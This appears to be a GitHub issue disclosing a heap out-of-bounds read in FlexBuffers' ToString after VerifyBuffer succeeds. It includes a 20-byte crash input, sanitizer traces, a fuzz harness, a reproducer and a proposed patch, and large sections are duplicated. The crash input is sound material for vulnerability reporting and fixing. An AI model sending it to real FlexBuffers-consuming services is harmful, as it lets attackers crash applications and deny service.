Skip to content

Heap Buffer Overflow in FlexBuffers ToString Post-Verification #9041

@OwenSanzas

Description

@OwenSanzas

Summary

Heap buffer overflow in flexbuffers::Reference::ToString after VerifyBuffer succeeds. The verifier allows malformed data that causes out-of-bounds string access.

Root Cause

FlexBuffers VerifyBuffer validation is insufficient for the ToString accessor path. After verification passes, Reference::ToString calls strlen on buffer data that extends past the allocated boundary, causing heap buffer overflow during string length calculation.

Vulnerable Code (flexbuffers.h:Reference::ToString)

std::string Reference::ToString() const {
  if (IsString()) {
    const char* str = reinterpret_cast<const char*>(Indirect());  // No bounds check
    return std::string(str);  // strlen called here - OOB read
  }
  // ... other type conversions
}

Vulnerability Description

FlexBuffers has a verification bypass vulnerability where VerifyBuffer passes malformed data that causes heap buffer overflow in subsequent ToString() calls. The verifier validates buffer structure but fails to ensure string data boundaries are within allocated buffer limits. When applications call ToString() on verified FlexBuffers data, the string accessor performs unbounded strlen operations that read past buffer boundaries. This affects JSON serializers, debug output systems, and any code calling ToString() after verification.

PoC

Crash input

20-byte malformed FlexBuffers data that passes verification but triggers ToString overflow:

# generate_flexbuffers_toString_poc.py  
poc = bytes([
    0xff, 0x00, 0x00, 0x00, 0x06, 0xbf, 0xb7, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2b, 0x02,
    0x0d, 0x01, 0x38, 0x01
])
open("flexbuffers_toString_poc.bin", "wb").write(poc)

Crash input size: 20 bytes

How to run

# Via our fuzz harness (basic_verification)
./flexbuffers_typed_access_fuzzer flexbuffers_toString_poc.bin

# Via production consumer (binary_reproduction)
./repro_flexbuffers_toString flexbuffers_toString_poc.bin

Sanitizer Output

Basic Verification (Fuzzer)

$ ASAN_OPTIONS="abort_on_error=1:halt_on_error=1:print_stacktrace=1:detect_leaks=0" \
  ./flexbuffers_typed_access_fuzzer crash_empty_bd5edad0.bin
==2506175==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000174 at pc 0x558011654759 bp 0x7ffcd77b29f0 sp 0x7ffcd77b21b8
READ of size 5 at 0x503000000174 thread T0
    #0 0x558011654758 in strlen
    #1 0x558011728b90 in flexbuffers::Reference::ToString flexbuffers.h:612:40
    #2 0x55801171b604 in flexbuffers::Reference::ToString flexbuffers.h:594:5
    #3 0x55801171b604 in (anonymous namespace)::WalkReference flexbuffers_typed_access_fuzzer.cc:133:7
    #4 0x55801171a78b in (anonymous namespace)::WalkReference flexbuffers_typed_access_fuzzer.cc:93:7
    #5 0x558011719ba3 in LLVMFuzzerTestOneInput flexbuffers_typed_access_fuzzer.cc:157:3

0x503000000174 is located 0 bytes after 20-byte region [0x503000000160,0x503000000174)
allocated by thread T0 here:
    #0 0x55801171768d in operator new[]

SUMMARY: AddressSanitizer: heap-buffer-overflow in strlen

Binary Reproduction (Production App)

Summary

Heap buffer overflow in flexbuffers::Reference::ToString after VerifyBuffer succeeds. The verifier allows malformed data that causes out-of-bounds string access.

Root Cause

FlexBuffers VerifyBuffer validation is insufficient for the ToString accessor path. After verification passes, Reference::ToString calls strlen on buffer data that extends past the allocated boundary, causing heap buffer overflow during string length calculation.

Vulnerable Code (flexbuffers.h:Reference::ToString)

std::string Reference::ToString() const {
  if (IsString()) {
    const char* str = reinterpret_cast<const char*>(Indirect());  // No bounds check
    return std::string(str);  // strlen called here - OOB read
  }
  // ... other type conversions
}

Vulnerability Description

FlexBuffers has a verification bypass vulnerability where VerifyBuffer passes malformed data that causes heap buffer overflow in subsequent ToString() calls. The verifier validates buffer structure but fails to ensure string data boundaries are within allocated buffer limits. When applications call ToString() on verified FlexBuffers data, the string accessor performs unbounded strlen operations that read past buffer boundaries. This affects JSON serializers, debug output systems, and any code calling ToString() after verification.

Severity

CVSS 3.1 Score: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Metric Value Rationale
Attack Vector Network FlexBuffers data often comes from network APIs
Attack Complexity Low Malformed data reliably triggers overflow after verification
Privileges Required None
User Interaction None Automatic processing of verified FlexBuffers
Confidentiality None
Integrity None
Availability High Heap corruption crashes the application

PoC

Crash input

20-byte malformed FlexBuffers data that passes verification but triggers ToString overflow:

# generate_flexbuffers_toString_poc.py  
poc = bytes([
    0xff, 0x00, 0x00, 0x00, 0x06, 0xbf, 0xb7, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2b, 0x02,
    0x0d, 0x01, 0x38, 0x01
])
open("flexbuffers_toString_poc.bin", "wb").write(poc)

Crash input size: 20 bytes

How to run

# Via our fuzz harness (basic_verification)
./flexbuffers_typed_access_fuzzer flexbuffers_toString_poc.bin

# Via production consumer (binary_reproduction)
./repro_flexbuffers_toString flexbuffers_toString_poc.bin

Sanitizer Output

Basic Verification (Fuzzer)

$ ASAN_OPTIONS="abort_on_error=1:halt_on_error=1:print_stacktrace=1:detect_leaks=0" \
  ./flexbuffers_typed_access_fuzzer crash_empty_bd5edad0.bin
==2506175==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000174 at pc 0x558011654759 bp 0x7ffcd77b29f0 sp 0x7ffcd77b21b8
READ of size 5 at 0x503000000174 thread T0
    #0 0x558011654758 in strlen
    #1 0x558011728b90 in flexbuffers::Reference::ToString flexbuffers.h:612:40
    #2 0x55801171b604 in flexbuffers::Reference::ToString flexbuffers.h:594:5
    #3 0x55801171b604 in (anonymous namespace)::WalkReference flexbuffers_typed_access_fuzzer.cc:133:7
    #4 0x55801171a78b in (anonymous namespace)::WalkReference flexbuffers_typed_access_fuzzer.cc:93:7
    #5 0x558011719ba3 in LLVMFuzzerTestOneInput flexbuffers_typed_access_fuzzer.cc:157:3

0x503000000174 is located 0 bytes after 20-byte region [0x503000000160,0x503000000174)
allocated by thread T0 here:
    #0 0x55801171768d in operator new[]

SUMMARY: AddressSanitizer: heap-buffer-overflow in strlen

Binary Reproduction (Production App)

$ ASAN_OPTIONS="detect_leaks=0:abort_on_error=1" \
  ./flexbuffers_repro crash_empty_bd5edad0.bin
==2506416==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000060 at pc 0x55bd96bb57a9 bp 0x7ffc01a7ff30 sp 0x7ffc01a7f6f8
READ of size 17 at 0x503000000060 thread T0
    #0 0x55bd96bb57a8 in strlen
    #1 0x55bd96c7d2fe in std::char_traits<char>::length bits/char_traits.h:399:9
    #2 0x55bd96c7d2fe in std::string::append bits/basic_string.h:1258:24
    #3 0x55bd96c7d2fe in std::string::operator+= bits/basic_string.h:1170:22
    #4 0x55bd96c7d2fe in flexbuffers::Reference::ToString flexbuffers.h:614:11
    #5 0x55bd96c7b0dd in main flexbuffers_repro.cpp:35:10

0x503000000060 is located 0 bytes after 32-byte region [0x503000000040,0x503000000060)
allocated by thread T0 here:
    #0 0x55bd96c785ed in operator new

SUMMARY: AddressSanitizer: heap-buffer-overflow in strlen

Analysis: Both verification methods trigger heap buffer overflow in strlen during flexbuffers::Reference::ToString. The fuzzer path shows a READ of size 5, while production path shows READ of size 17, indicating different string lengths but identical root cause: VerifyBuffer passes but ToString reads unterminated string data past allocated buffer bounds.

Impact

Aspect Details
Type heap-buffer-overflow
Severity high
Attack Vector FlexBuffers data with verification bypass
Affected Component flexbuffers/ToString
Affected Versions flatbuffers main branch
CWE CWE-125 (Out-of-bounds Read)

Suggested Fix

Add bounds checking in ToString() string accessor:

--- a/include/flatbuffers/flexbuffers.h
+++ b/include/flatbuffers/flexbuffers.h
@@ -984,7 +984,12 @@ class Reference {
   std::string ToString() const {
     if (IsString()) {
       const char* str = reinterpret_cast<const char*>(Indirect());
+      // Ensure string is within buffer bounds
+      size_t max_len = end_ - reinterpret_cast<const uint8_t*>(str);
+      size_t str_len = strnlen(str, max_len);
+      if (str_len >= max_len && str[max_len-1] != '\0') return "";
-      return std::string(str);
+      return std::string(str, str_len);
     }

Fuzz Harness Source

// data/chrome/libraries/flatbuffers/harnesses/flexbuffers_typed_access/flexbuffers_typed_access_fuzzer.cc
/*
 * Copyright 2023 Google Inc. All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

// libFuzzer harness for FlexBuffers typed accessor paths post-verification
//
// Exercises FlexBuffers accessor methods (ToString, AsMap, AsVector, etc.)
// that are called AFTER VerifyBuffer succeeds. The existing flexbuffers_verifier_fuzzer
// only tests VerifyBuffer itself but never calls the accessor APIs that 
// consume verified data. This harness specifically targets the verification
// bypass where VerifyBuffer passes but subsequent ToString/AsString calls
// trigger heap buffer overflows.

#include <flatbuffers/flexbuffers.h>
#include <flatbuffers/util.h>

extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
  if (size < 4) return 0;
  
  // Verify the FlexBuffer first - this must pass for the bug to trigger
  if (!flexbuffers::VerifyBuffer(data, size, nullptr)) {
    return 0;
  }
  
  // Get root reference from verified buffer
  auto root = flexbuffers::GetRoot(data, size);
  
  // Exercise all typed accessors that can trigger post-verification overflows
  try {
    // String accessors - primary overflow site
    if (root.IsString()) {
      auto str_val = root.AsString();  // Direct string access
      auto str_conv = root.ToString(); // String conversion - triggers strlen OOB
    }
    
    // Map accessors  
    if (root.IsMap()) {
      auto map = root.AsMap();
      for (size_t i = 0; i < map.size(); i++) {
        auto key = map.Keys()[i].AsString();   // Key string access
        auto val = map.Values()[i].ToString(); // Value conversion
      }
    }
    
    // Vector accessors
    if (root.IsVector()) {
      auto vec = root.AsVector();
      for (size_t i = 0; i < vec.size(); i++) {
        auto elem = vec[i];
        if (elem.IsString()) {
          auto elem_str = elem.ToString(); // Element string conversion
        }
      }
    }
    
    // Typed vector accessors
    if (root.IsTypedVector()) {
      auto typed_vec = root.AsTypedVector();
      for (size_t i = 0; i < typed_vec.size(); i++) {
        auto elem_str = typed_vec[i].ToString();
      }
    }
    
    // Numeric conversions (secondary attack surface)
    if (root.IsNumeric()) {
      root.AsInt64();
      root.AsDouble(); 
      root.ToString(); // Numeric-to-string conversion
    }
    
    // Boolean and null handling
    if (root.IsBool()) {
      root.ToString(); // Bool-to-string conversion
    }
    
    if (root.IsNull()) {
      root.ToString(); // Null-to-string conversion  
    }
    
  } catch (...) {
    // Catch any exceptions to prevent fuzzer crashes from exception handling
    return 0;
  }
  
  return 0;
}

Build flags: clang++ -std=c++11 -fsanitize=fuzzer,address -g -O1 -I flatbuffers/include/
Library linkage: libflatbuffers.a -lpthread
Corpus: data/chrome/libraries/flatbuffers/corpora/flexbuffers_typed_access/

Production Reproducer

For direct reproduction without libFuzzer, the following minimal program triggers the same vulnerability using only the FlexBuffers public API:

// flexbuffers_repro.cpp - minimal production repro for flexbuffers ToString OOB
#include <iostream>
#include <fstream>
#include <vector>
#include "flatbuffers/flexbuffers.h"

int main(int argc, char** argv) {
    if (argc != 2) {
        std::cerr << "usage: " << argv[0] << " <crash.bin>\n";
        return 1;
    }

    std::ifstream file(argv[1], std::ios::binary);
    if (!file) {
        std::cerr << "cannot open " << argv[1] << "\n";
        return 1;
    }

    std::vector<uint8_t> data((std::istreambuf_iterator<char>(file)),
                              std::istreambuf_iterator<char>());

    // This is the exact pattern a production flexbuffers consumer uses:
    // 1. Verify the buffer
    if (!flexbuffers::VerifyBuffer(data.data(), data.size())) {
        std::cerr << "VerifyBuffer failed\n";
        return 2;
    }

    // 2. Get root and access typed data (common pattern in Chrome)
    auto root = flexbuffers::GetRoot(data.data(), data.size());

    // 3. Call ToString (the crash site) - this is where JSON serializers,
    //    debug printers, and schema-less data walkers access flex data
    std::string result;
    root.ToString(false, false, result);

    std::cout << "ToString result: " << result << std::endl;
    return 0;
}

Build: clang++ -fsanitize=address -g -O1 -I flatbuffers/include/ flexbuffers_repro.cpp libflatbuffers.a -o flexbuffers_repro
Run: ./flexbuffers_repro crash.bin

Discovery

  • Discovered by: O2 Security Team (FuzzingBrain)
  • Discovered on: 2026-04-11
  • Harness: flexbuffers_typed_access_fuzzer.cc (see "Fuzz Harness Source" above)
$ ASAN_OPTIONS="detect_leaks=0:abort_on_error=1" \
  ./flexbuffers_repro crash_empty_bd5edad0.bin
==2506416==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000060 at pc 0x55bd96bb57a9 bp 0x7ffc01a7ff30 sp 0x7ffc01a7f6f8
READ of size 17 at 0x503000000060 thread T0
    #0 0x55bd96bb57a8 in strlen
    #1 0x55bd96c7d2fe in std::char_traits<char>::length bits/char_traits.h:399:9
    #2 0x55bd96c7d2fe in std::string::append bits/basic_string.h:1258:24
    #3 0x55bd96c7d2fe in std::string::operator+= bits/basic_string.h:1170:22
    #4 0x55bd96c7d2fe in flexbuffers::Reference::ToString flexbuffers.h:614:11
    #5 0x55bd96c7b0dd in main flexbuffers_repro.cpp:35:10

0x503000000060 is located 0 bytes after 32-byte region [0x503000000040,0x503000000060)
allocated by thread T0 here:
    #0 0x55bd96c785ed in operator new

SUMMARY: AddressSanitizer: heap-buffer-overflow in strlen

Analysis: Both verification methods trigger heap buffer overflow in strlen during flexbuffers::Reference::ToString. The fuzzer path shows a READ of size 5, while production path shows READ of size 17, indicating different string lengths but identical root cause: VerifyBuffer passes but ToString reads unterminated string data past allocated buffer bounds.

Impact

Aspect Details
Type heap-buffer-overflow
Severity high
Attack Vector FlexBuffers data with verification bypass
Affected Component flexbuffers/ToString
Affected Versions flatbuffers main branch
CWE CWE-125 (Out-of-bounds Read)

Suggested Fix

Add bounds checking in ToString() string accessor:

--- a/include/flatbuffers/flexbuffers.h
+++ b/include/flatbuffers/flexbuffers.h
@@ -984,7 +984,12 @@ class Reference {
   std::string ToString() const {
     if (IsString()) {
       const char* str = reinterpret_cast<const char*>(Indirect());
+      // Ensure string is within buffer bounds
+      size_t max_len = end_ - reinterpret_cast<const uint8_t*>(str);
+      size_t str_len = strnlen(str, max_len);
+      if (str_len >= max_len && str[max_len-1] != '\0') return "";
-      return std::string(str);
+      return std::string(str, str_len);
     }

Fuzz Harness Source

// data/chrome/libraries/flatbuffers/harnesses/flexbuffers_typed_access/flexbuffers_typed_access_fuzzer.cc
/*
 * Copyright 2023 Google Inc. All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

// libFuzzer harness for FlexBuffers typed accessor paths post-verification
//
// Exercises FlexBuffers accessor methods (ToString, AsMap, AsVector, etc.)
// that are called AFTER VerifyBuffer succeeds. The existing flexbuffers_verifier_fuzzer
// only tests VerifyBuffer itself but never calls the accessor APIs that 
// consume verified data. This harness specifically targets the verification
// bypass where VerifyBuffer passes but subsequent ToString/AsString calls
// trigger heap buffer overflows.

#include <flatbuffers/flexbuffers.h>
#include <flatbuffers/util.h>

extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
  if (size < 4) return 0;
  
  // Verify the FlexBuffer first - this must pass for the bug to trigger
  if (!flexbuffers::VerifyBuffer(data, size, nullptr)) {
    return 0;
  }
  
  // Get root reference from verified buffer
  auto root = flexbuffers::GetRoot(data, size);
  
  // Exercise all typed accessors that can trigger post-verification overflows
  try {
    // String accessors - primary overflow site
    if (root.IsString()) {
      auto str_val = root.AsString();  // Direct string access
      auto str_conv = root.ToString(); // String conversion - triggers strlen OOB
    }
    
    // Map accessors  
    if (root.IsMap()) {
      auto map = root.AsMap();
      for (size_t i = 0; i < map.size(); i++) {
        auto key = map.Keys()[i].AsString();   // Key string access
        auto val = map.Values()[i].ToString(); // Value conversion
      }
    }
    
    // Vector accessors
    if (root.IsVector()) {
      auto vec = root.AsVector();
      for (size_t i = 0; i < vec.size(); i++) {
        auto elem = vec[i];
        if (elem.IsString()) {
          auto elem_str = elem.ToString(); // Element string conversion
        }
      }
    }
    
    // Typed vector accessors
    if (root.IsTypedVector()) {
      auto typed_vec = root.AsTypedVector();
      for (size_t i = 0; i < typed_vec.size(); i++) {
        auto elem_str = typed_vec[i].ToString();
      }
    }
    
    // Numeric conversions (secondary attack surface)
    if (root.IsNumeric()) {
      root.AsInt64();
      root.AsDouble(); 
      root.ToString(); // Numeric-to-string conversion
    }
    
    // Boolean and null handling
    if (root.IsBool()) {
      root.ToString(); // Bool-to-string conversion
    }
    
    if (root.IsNull()) {
      root.ToString(); // Null-to-string conversion  
    }
    
  } catch (...) {
    // Catch any exceptions to prevent fuzzer crashes from exception handling
    return 0;
  }
  
  return 0;
}

Build flags: clang++ -std=c++11 -fsanitize=fuzzer,address -g -O1 -I flatbuffers/include/
Library linkage: libflatbuffers.a -lpthread
Corpus: data/chrome/libraries/flatbuffers/corpora/flexbuffers_typed_access/

Discovery

  • Discovered by: O2 Security Team (FuzzingBrain)
  • Discovered on: 2026-04-11
  • Harness: flexbuffers_typed_access_fuzzer.cc (see "Fuzz Harness Source" above)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions